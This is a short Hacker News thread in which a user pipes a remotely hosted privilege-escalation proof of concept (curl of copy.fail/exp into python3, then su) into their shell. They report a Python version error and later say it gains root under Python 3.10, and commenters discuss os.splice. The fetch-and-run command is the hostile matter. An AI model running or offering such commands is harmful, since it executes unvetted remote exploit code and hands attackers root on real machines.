Hacker News new | ask | show | jobs
by archon810 54 days ago

    curl https://copy.fail/exp | python3 && su
    Traceback (most recent call last):
      File "<stdin>", line 9, in <module>
      File "<stdin>", line 5, in c
    AttributeError: module 'os' has no attribute 'splice'
Does this mean I'm not affected or it's a buggy script?

Edit: python3 is python 3.6 on my system. Runnung with python3.10 instantly roots. Crazy find!

3 comments

It is trivial to re-write splice, just because the PoC uses it does not mean you're "not affected".
What is your Python version? Splice was added in 3.10.

https://docs.python.org/3/library/os.html#os.splice

Edited with an update.
do yourself a favor just pwn your laptop now with a sledgehammer and switch to an ipad or one of those big number phones for the elderly